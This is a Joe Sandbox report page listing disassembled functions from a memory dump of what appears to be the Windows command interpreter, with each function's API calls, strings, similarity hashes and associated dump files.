DEFINED, xrefs: 00007FF64B57262F
EXIST, xrefs: 00007FF64B5725E1
NOT, xrefs: 00007FF64B572649
ERRORLEVEL, xrefs: 00007FF64B5725C3
CMDEXTVERSION, xrefs: 00007FF64B572608

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: _wcsicmp$Heap$AllocProcess
String ID: CMDEXTVERSION$DEFINED$ERRORLEVEL$EXIST$NOT
API String ID: 3407644289-1668778490
Opcode ID: 73bc52d87adb43f98016766748090f79ae3978062519f174c0f235f90d2ce4d7
Instruction ID: 1ebc6d9c6e7c3c0724b7b8ad050f269c6da3cbe88e27215bb4be614a906ec6d1
Opcode Fuzzy Hash: 73bc52d87adb43f98016766748090f79ae3978062519f174c0f235f90d2ce4d7
Instruction Fuzzy Hash: 39314C61A1C642C6FB28BF21F811279E6A5AB4DB40F54C435D62EC62B7DE7DE4018611

Function 00007FF64B590C90 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 282COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF64B591398: free.MSVCRT(?,?,00000000,00007FF64B587FE0,?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000), ref: 00007FF64B5913C2
Part of subcall function 00007FF64B591398: free.MSVCRT(?,?,00000000,00007FF64B587FE0,?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000), ref: 00007FF64B5913DF

Part of subcall function 00007FF64B562730: towupper.MSVCRT ref: 00007FF64B5627C1

Part of subcall function 00007FF64B5691C0: memset.MSVCRT ref: 00007FF64B56921C
Part of subcall function 00007FF64B5691C0: wcsrchr.MSVCRT ref: 00007FF64B5692D8
Part of subcall function 00007FF64B5691C0: GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B569362
Part of subcall function 00007FF64B5691C0: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF64B569373

Part of subcall function 00007FF64B568DF8: memset.MSVCRT ref: 00007FF64B568E6D
Part of subcall function 00007FF64B568DF8: memset.MSVCRT ref: 00007FF64B568E93

Part of subcall function 00007FF64B577854: memset.MSVCRT ref: 00007FF64B57790B

qsort.MSVCRT ref: 00007FF64B590DDF
wcschr.MSVCRT ref: 00007FF64B590E40
calloc.MSVCRT ref: 00007FF64B590EA2
calloc.MSVCRT ref: 00007FF64B590F5A
wcschr.MSVCRT ref: 00007FF64B590F9E
memmove.MSVCRT ref: 00007FF64B591001
memmove.MSVCRT ref: 00007FF64B591021

Strings

&()[]{}^=;!%'+,`~, xrefs: 00007FF64B590E39, 00007FF64B590F97

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: memset$callocfreememmovewcschr$AttributesErrorFileLastqsorttowupperwcsrchr
String ID: &()[]{}^=;!%'+,`~
API String ID: 2516562204-381716982
Opcode ID: 46497fca5754c6479966f60d4708fe0825c75a770e24346d8a6fbe1751f9d7e4
Instruction ID: 211b30b173a4214a734e05e79fd2719b80311f746e285ad1d019110f38af25d2
Opcode Fuzzy Hash: 46497fca5754c6479966f60d4708fe0825c75a770e24346d8a6fbe1751f9d7e4
Instruction Fuzzy Hash: 29C1AD72A09791C6EB58BF25E8402BEB7A0FB48B94F445125DE9D83BA9DF3CE451C700

Function 00007FF64B577E80 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 210COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF64B56D3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF64B56D46E
Part of subcall function 00007FF64B56D3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF64B56D485
Part of subcall function 00007FF64B56D3F0: wcschr.MSVCRT ref: 00007FF64B56D4EE
Part of subcall function 00007FF64B56D3F0: iswspace.MSVCRT ref: 00007FF64B56D54D
Part of subcall function 00007FF64B56D3F0: wcschr.MSVCRT ref: 00007FF64B56D569
Part of subcall function 00007FF64B56D3F0: wcschr.MSVCRT ref: 00007FF64B56D58C

iswspace.MSVCRT ref: 00007FF64B577EEE

Strings

A, xrefs: 00007FF64B5801B6

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: wcschr$Heapiswspace$AllocProcess
String ID: A
API String ID: 3731854180-3554254475
Opcode ID: 41f65c48cf3e37159ed1ee97e5992bf17c61e45d372bd9afbfce449b4f210755
Instruction ID: 944ccc4c5e5ff95b66b1848ee07d77a9172d2b8be708d5785fb7f8d02a9f339e
Opcode Fuzzy Hash: 41f65c48cf3e37159ed1ee97e5992bf17c61e45d372bd9afbfce449b4f210755
Instruction Fuzzy Hash: 54A17E21A0D68289E668BF21E850679FAA0FF4D790F048034CA6DC77B6DF7CE451CB10

Function 00007FF64B58A39C Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 111libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0 ref: 00007FF64B58A3EA
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0 ref: 00007FF64B58A40C
ReadProcessMemory.API-MS-WIN-CORE-MEMORY-L1-1-0 ref: 00007FF64B58A47B
ReadProcessMemory.API-MS-WIN-CORE-MEMORY-L1-1-0 ref: 00007FF64B58A4D3
ReadProcessMemory.API-MS-WIN-CORE-MEMORY-L1-1-0 ref: 00007FF64B58A508
ReadProcessMemory.API-MS-WIN-CORE-MEMORY-L1-1-0 ref: 00007FF64B58A54A

Strings

NtQueryInformationProcess, xrefs: 00007FF64B58A402
NTDLL.DLL, xrefs: 00007FF64B58A3E1

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: MemoryProcessRead$AddressLibraryLoadProc
String ID: NTDLL.DLL$NtQueryInformationProcess
API String ID: 1580871199-2613899276
Opcode ID: 248bfccf7fce2d74e04c554d0a409a3469e52293056c2e4adbebd786e6cf1904
Instruction ID: 4ce8c4ae148f1cbf121a21d311dffeeb487166b0435f4bb2608ad32a17fdde6d
Opcode Fuzzy Hash: 248bfccf7fce2d74e04c554d0a409a3469e52293056c2e4adbebd786e6cf1904
Instruction Fuzzy Hash: 42514C71A2DB82C6EB54BF15E800269A7A4FF88B84F445135DA6E83B65DF3CD452CB00

Function 00007FF64B567420 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 101fileCOMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 00007FF64B5674A1
CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B5674E8
_open_osfhandle.MSVCRT ref: 00007FF64B567509
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF64B584931

Strings

con, xrefs: 00007FF64B56748A

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: CloseCreateFileHandle_open_osfhandle_wcsicmp
String ID: con
API String ID: 689241570-4257191772
Opcode ID: c7a2234d9573f6b473384a9ead2fa3a6435853c7d94b0c157743cf5a0c0f015b
Instruction ID: fdc760adeb21f4d06ae4c9c4a532353b011b78572c0921344f58a3d0e38f1480
Opcode Fuzzy Hash: c7a2234d9573f6b473384a9ead2fa3a6435853c7d94b0c157743cf5a0c0f015b
Instruction Fuzzy Hash: F0415922A1CA45C6E214BF15E444379BAA1FB8DBA5F558334DE3D837A1CF39D8498B40

Function 00007FF64B58A58C Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 97memoryfileCOMMON

Download Yara Rule

APIs

CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B58A5DC

Part of subcall function 00007FF64B58A8D4: ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B58A8F1

SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B58A62E
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF64B58A68B
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF64B58A6A0
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF64B58A6DE
RtlFreeHeap.NTDLL ref: 00007FF64B58A6F2
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF64B58A701

Strings

PE, xrefs: 00007FF64B58A65C

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: Heap$File$Process$AllocCloseCreateFreeHandlePointerRead
String ID: PE
API String ID: 2941894976-4258593460
Opcode ID: 331757eb63d1f0c0e0f6f41cd200ca790172e856099f574e6941fdd4e3218fed
Instruction ID: 8b5d6ea1ef4fd0f83e115c4e263c798b5c760fe2c9008356d02d12bd3d31bf77
Opcode Fuzzy Hash: 331757eb63d1f0c0e0f6f41cd200ca790172e856099f574e6941fdd4e3218fed
Instruction Fuzzy Hash: 26412161A1C69186E668BF12E410279F6A0FF8DB90F445130DA6DC3BAADF3CE556CB10

Function 00007FF64B570010 Relevance: 13.7, APIs: 9, Instructions: 163fileCOMMON

Download Yara Rule

APIs

SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00000000,0000237B,00000000,00000002,0000000A,00000001,00007FF64B58849D,?,?,?,00007FF64B58F0C7), ref: 00007FF64B570045
AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,00007FF64B58F0C7,?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF64B58E964), ref: 00007FF64B570071
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B570092
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF64B5700A7
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B570148
MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF64B570181

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: File$LockPointerShared$AcquireByteCharMultiReadReleaseWide
String ID:
API String ID: 734197835-0
Opcode ID: 6daa823d36a278c72bc8dcf2d42bf9926b6fb5b8f0ec4fad86b12d1df65ba387
Instruction ID: 9b29a7bbf822d07d32fbcf15b97f6098d095085ff12a4a70b098fea6f53f12e9
Opcode Fuzzy Hash: 6daa823d36a278c72bc8dcf2d42bf9926b6fb5b8f0ec4fad86b12d1df65ba387
Instruction Fuzzy Hash: D3618271A1C692C6E728BF65E804379FAD1BB4D754F488131D96E827B2DFBCA445CB00

Function 00007FF64B589B0C Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 261registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF64B589B77
RegEnumKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF64B589CD2
wcsrchr.MSVCRT ref: 00007FF64B589D47
RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF64B589E38

Strings

%s=%s, xrefs: 00007FF64B589C81, 00007FF64B589E85
\Shell\Open\Command, xrefs: 00007FF64B589B8F, 00007FF64B589DE6
., xrefs: 00007FF64B589B96

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: Enum$Openwcsrchr
String ID: %s=%s$.$\Shell\Open\Command
API String ID: 3402383852-1459555574
Opcode ID: c43f82accf2197ad62986fa4fadf1decf1ac45d35886ea9e70cf93cd770afeea
Instruction ID: 6e1e48c013b713cfcedf50d64198c0d92254c0db2fd98f2956ad351da524a718
Opcode Fuzzy Hash: c43f82accf2197ad62986fa4fadf1decf1ac45d35886ea9e70cf93cd770afeea
Instruction Fuzzy Hash: 41A1E261A1D64282FE18BF54D0002BAF3A1EF9CB90F405131DA6E877A6EE7DE911C300

Function 00007FF64B561F90 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 174COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF64B562058

Part of subcall function 00007FF64B56CA40: memset.MSVCRT ref: 00007FF64B56CAB3

memset.MSVCRT ref: 00007FF64B5620C1
GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF64B5620D2
GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF64B562117
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF64B5621DC

Strings

DIRCMD, xrefs: 00007FF64B5620C9, 00007FF64B562109

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: memset$EnvironmentVariable
String ID: DIRCMD
API String ID: 1405722092-1465291664
Opcode ID: ffb8ac6f460930c1464a251cfe4f6a37909ed3687fd59a2300d1627ea223b7d7
Instruction ID: 91777e24919b52e11917e8627fb64b80f994fbb67b9f00086919a81d8bd0f243
Opcode Fuzzy Hash: ffb8ac6f460930c1464a251cfe4f6a37909ed3687fd59a2300d1627ea223b7d7
Instruction Fuzzy Hash: E2816172B19BC18AEB24EF61E8402ED77A4FB49748F005139DA5D97B6ADF38D145C700

Function 00007FF64B58BA40 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 103COMMON

Download Yara Rule

APIs

iswalpha.MSVCRT ref: 00007FF64B58BABA
towupper.MSVCRT ref: 00007FF64B58BAD1
GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B58BB13
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF64B58BB2F
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF64B58BB48

Strings

:, xrefs: 00007FF64B58BAAF
%04X-%04X, xrefs: 00007FF64B58BBBB

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: ErrorLast$InformationVolumeiswalphatowupper
String ID: %04X-%04X$:
API String ID: 930873262-1938371929
Opcode ID: 1b48387342add1d7daed67bb80fe16c2eacc5f7ab2e1033d601e8994222be5e6
Instruction ID: 19304b100418724ad7794974d2d04af6421d3855dbcac32e54a8dbda440fc82f
Opcode Fuzzy Hash: 1b48387342add1d7daed67bb80fe16c2eacc5f7ab2e1033d601e8994222be5e6
Instruction Fuzzy Hash: 7C418D61A1CA82C2EB28BF64E4412BAE3A4FB8C715F408135DA6E836F6DF7DD545C710

Function 00007FF64B58D878 Relevance: 12.1, APIs: 8, Instructions: 89fileCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF64B58D899
FlushFileBuffers.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B58D8A8
_get_osfhandle.MSVCRT ref: 00007FF64B58D8D7
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B58D8F1
_get_osfhandle.MSVCRT ref: 00007FF64B58D8FF
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B58D921
_get_osfhandle.MSVCRT ref: 00007FF64B58D969
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B58D983

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: File_get_osfhandle$Pointer$BuffersFlushRead
String ID:
API String ID: 3192234081-0
Opcode ID: 21cbebea3a03736acc453a065156524b21459c684ab1bf839b7458faa090dfc7
Instruction ID: 74c055180e41be7d18d1529c8785e8ff3faaf285e8dc6dbfd362a64be6a26bdf
Opcode Fuzzy Hash: 21cbebea3a03736acc453a065156524b21459c684ab1bf839b7458faa090dfc7
Instruction Fuzzy Hash: 7E313B31A1C652DBE718BF21E44467DEAA1FB8DB90F449634DE6A877B6CE3CD4058B00

Function 00007FF64B5786F0 Relevance: 10.7, APIs: 7, Instructions: 154COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF64B5788C0: NtOpenThreadToken.NTDLL ref: 00007FF64B5788E7
Part of subcall function 00007FF64B5788C0: NtOpenProcessToken.NTDLL ref: 00007FF64B578907
Part of subcall function 00007FF64B5788C0: NtClose.NTDLL ref: 00007FF64B57896C

SetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0 ref: 00007FF64B5787D7
LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0 ref: 00007FF64B578807
RtlNtStatusToDosError.NTDLL ref: 00007FF64B58517E
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF64B58518C
GetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0 ref: 00007FF64B5851FD
wcsstr.MSVCRT ref: 00007FF64B585219
wcsstr.MSVCRT ref: 00007FF64B585236

Part of subcall function 00007FF64B57885C: FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF64B5788A2

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: ConsoleErrorOpenTitleTokenwcsstr$CloseFormatFreeLastLocalMessageProcessStatusThread
String ID:
API String ID: 1313749407-0
Opcode ID: ee6218c461c646e929341b9db92bfc99d61f95d83b881389c5cff3e0ca217c2e
Instruction ID: 097392081cbb42c20f789f0ae6a644f2a378e282227ce7832cb10d0500334815
Opcode Fuzzy Hash: ee6218c461c646e929341b9db92bfc99d61f95d83b881389c5cff3e0ca217c2e
Instruction Fuzzy Hash: 2F51A161B1D68282EA58BF16E814179E691BF4DB90F489134DE7F873F2DFBCE8418200

Function 00007FF64B58EC14 Relevance: 10.6, APIs: 7, Instructions: 121COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF64B58EC73

Part of subcall function 00007FF64B56CA40: memset.MSVCRT ref: 00007FF64B56CAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF64B58EE0A

Part of subcall function 00007FF64B57081C: GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF64B57084E

SetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF64B58ECD5
SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF64B58ECED
SetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF64B58ED9C
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF64B58EDAC
SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF64B58EDC8

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: Error$CurrentDirectoryModememset$EnvironmentLastVariable
String ID:
API String ID: 920682188-0
Opcode ID: 709d1c67be100917fc71fda4c7ad07296061441c4da44e249bcfadc6653ab77c
Instruction ID: c77dc8c6325f9ae989c3136d85b520d29dab9da41a976afd4a46c24417788fb9
Opcode Fuzzy Hash: 709d1c67be100917fc71fda4c7ad07296061441c4da44e249bcfadc6653ab77c
Instruction Fuzzy Hash: 5F512872709B818AEB29EF24D8542E8B7A1FB8CB44F049139CA5D87765EF3CD6598700

Function 00007FF64B571FAC Relevance: 9.3, APIs: 6, Instructions: 260COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF64B57200F
wcsspn.MSVCRT ref: 00007FF64B572226

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: memsetwcsspn
String ID:
API String ID: 3809306610-0
Opcode ID: 231042d871709e842a58ac96de8cecde88a4784088973e8bd81687bc68b42317
Instruction ID: 8053b9688e9837133bae0fb8a91e5908be2e73fa4f9b840cbe656448b9b59e72
Opcode Fuzzy Hash: 231042d871709e842a58ac96de8cecde88a4784088973e8bd81687bc68b42317
